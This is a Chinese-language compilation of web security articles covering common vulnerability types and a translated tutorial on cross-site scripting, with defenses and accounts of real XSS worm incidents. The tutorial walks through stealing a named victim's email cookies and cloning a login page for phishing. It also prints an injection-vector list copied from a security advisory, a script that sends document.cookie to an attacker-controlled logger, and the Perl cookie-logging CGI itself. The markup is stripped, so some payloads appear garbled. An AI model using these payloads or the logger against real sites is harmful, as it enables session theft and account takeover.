本文目录一览:
常见的网络安全漏洞有哪些
第一:注入漏洞
由于其普遍性和严重性,注入漏洞位居漏洞排名第一位。常见的注入漏洞包括SQL、LDAP、OS命令、ORM和OGML。用户可以通过任何输入点输入构建的恶意代码,如果应用程序没有严格过滤用户的输入,一旦输入的恶意代码作为命令或者查询的一部分被发送到解析器,就可能导致注入漏洞。
第二:跨站脚本漏洞
XSS漏洞的全称是跨站点脚本漏洞。XSS漏洞是网络应用程序中常见的安全漏洞,它允许用户将恶意代码植入网页,当其他用户访问此页面时,植入的恶意脚本将在其他用户的客户端执行。危害有很多,客户端用户的信息可以通过XSS漏洞获取,比如用户登录的Cookie信息;信息可以通过XSS蜗牛传播;木马可以植入客户端;可以结合其他漏洞攻击服务器,并在服务器中植入特洛伊木马。
第三、文件上传漏洞
造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。
第四、文件包含漏洞
文件包含漏洞中包含的文件参数没有过滤或严格定义,参数可以由用户控制,可能包含意外文件。如果文件中存在恶意代码,无论文件是什么后缀类型,文件中的恶意代码都会被解析执行,导致文件包含漏洞。
第五、命令执行漏洞
应用程序的某些函数需要调用可以执行系统命令的函数。如果这些功能或者功能的参数可以被用户控制,那么恶意的命令就有可能通过命令连接器拼接成正常的功能,从而可以随意执行系统命令。这就是命令执行漏洞,属于高风险漏洞之一。
html跨站语法问题
跨站脚本之完全总结
以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章,抱着知道总比不知道好的想法,翻译整理了一下,错误之处请多多指点。
什么是跨站脚本(CSS/XSS)?
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,
有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。
XSS和脚本注射的区别?
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flash
是什么原因导致一个站点存在XSS的安全漏洞?
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,出错信息会被打印到一个html文件,并将该错误页面发送给访问者。
例如: 404 - yourfile.html Not Found!
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:
该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的?
OK,现在是我们检查XSS漏洞的时候了!
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面里。当然方法很多
;scriptalert
('XSS_Vuln_Testing')/script
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404 error页面中,结果创建了一个页面,如下:
html
b404/b - scriptalert('XSS_Vuln_Testing')/script Not Found!
/html
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
如何利用XSS来完成hacking?
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
事例:
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是b00b这个人。
把上面存在CSS漏洞的连接修改一下:
这会创建了一个错误页面,我们得到如下信息:
Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
;scriptalert('test')
/script
script并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
scriptalert('test')/script进行有效过滤,所以在页面发回到浏览器并执行了该脚本。
下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。想办法让b00b访问myemailserver.tld站点发表的文章,比如说:"亲爱的b00b,看看这个美
女如何呀?"
那么当可怜的b00b访问 ;script偷取
并保存cookie的脚本
/script
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,那些笨蛋并不会意识到实际发生的事情。
把javascript脚本插入WEB页面的不同方法:
snip
拷贝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
a href="javascript#[code]"
div onmouseover="[code]"
img src="javascript:[code]"
img dynsrc="javascript:[code]" [IE]
input type="image" dynsrc="javascript:[code]" [IE]
bgsound src="javascript:[code]" [IE]
script[code]/script
{[code]}; [N4]
img src={[code]}; [N4]
link rel="stylesheet" href="javascript:[code]"
iframe src="vbscript:[code]" [IE]
img src="mocha:[code]" [N4]
img src="livescript:[code]" [N4]
a href="about:script[code]/script"
meta http-equiv="refresh" content="0;url=javascript:[code]"
body onload="[code]"
div style="background-image: url(javascript:[code]);"
div style="behaviour: url([link to code]);" [IE]
div style="binding: url([link to code]);" [Mozilla]
div style="width: expression([code]);" [IE]
style type="text/javascript"[code]/style [N4]
object classid="clsid:..." codebase="javascript:[code]" [IE]
style!--/stylescript[code]//--/script
![CDATA[!--]]script[code]//--/script
!-- -- --script[code]/script!-- -- --
script[code]/script
img src="blah"onmouseover="[code]"
img src="blah" onmouseover="[code]"
xml src="javascript:[code]"
xml id="X"abscript[code]/script;/b/a/xml
div datafld="b" dataformatas="html" datasrc="#X"/div
[\xC0][\xBC]script[code][\xC0][\xBC]/script [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
/snip
一个真正的获取cookie并且做记录的例子:
注意:要使它工作,你的浏览器必须允许接受站点发送的cookies,
当我测试下面的信息时,使用
javascript创建访问者的cookies,javascript脚本放在index.html文件中。
OK,下面假设存在XSS攻击的安全隐患,存在漏洞的连接是:
;evil javascript
我们创建这样一个连接:
;script
document.location='
.tld
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie/script
然后让保存该站点cookie的用户访问这个连接:
这是我们的CGI脚本,它的作用就是对用户cookie做记录:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, "evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, "evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如""和""。
可以把"",""转换为,
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
对受害者来说不要访问包含script字符的连接,一些官方的URL不会包括任何脚本元素。
XSS攻击的受攻击事件
新浪微博XSS受攻击事件
2011年6月28日晚,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,某网站中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
百度贴吧xss攻击事件
2014年3月9晚,六安吧等几十个贴吧出现点击推广贴会自动转发等。并且吧友所关注的每个关注的贴吧都会转一遍,病毒循环发帖。并且导致吧务人员,和吧友被封禁。
xss漏洞如何防御?
1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同,这就是给XSS漏洞防御带来的困难,不可能以单一特征来概括所有XSS攻击。
传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索,但是这种鉴别不够灵活,凡是提交的信息中各有JavaScript时,就被硬性的判定为XSS攻击。
2、基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击:
①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
②实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
③确认接收的内容被妥善的规范化,仅包含最小的、安全的Tag,去掉任何对远程内容的引用,使用HTTP only的cookie。
3、客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端,这是它与其他模型最大的区别。之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易,该模型主要由三大部分组成:
①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;
②包含分层防御策略四个规则的用户输入分析模块;
③保存互联网上有关XSS恶意网站信息的XSS信息数据库。
【web安全】xss跨站脚本攻击有哪些?
xss攻击可以分成两种类型:
1.非持久型攻击
2.持久型攻击
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
也可以分成三类:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。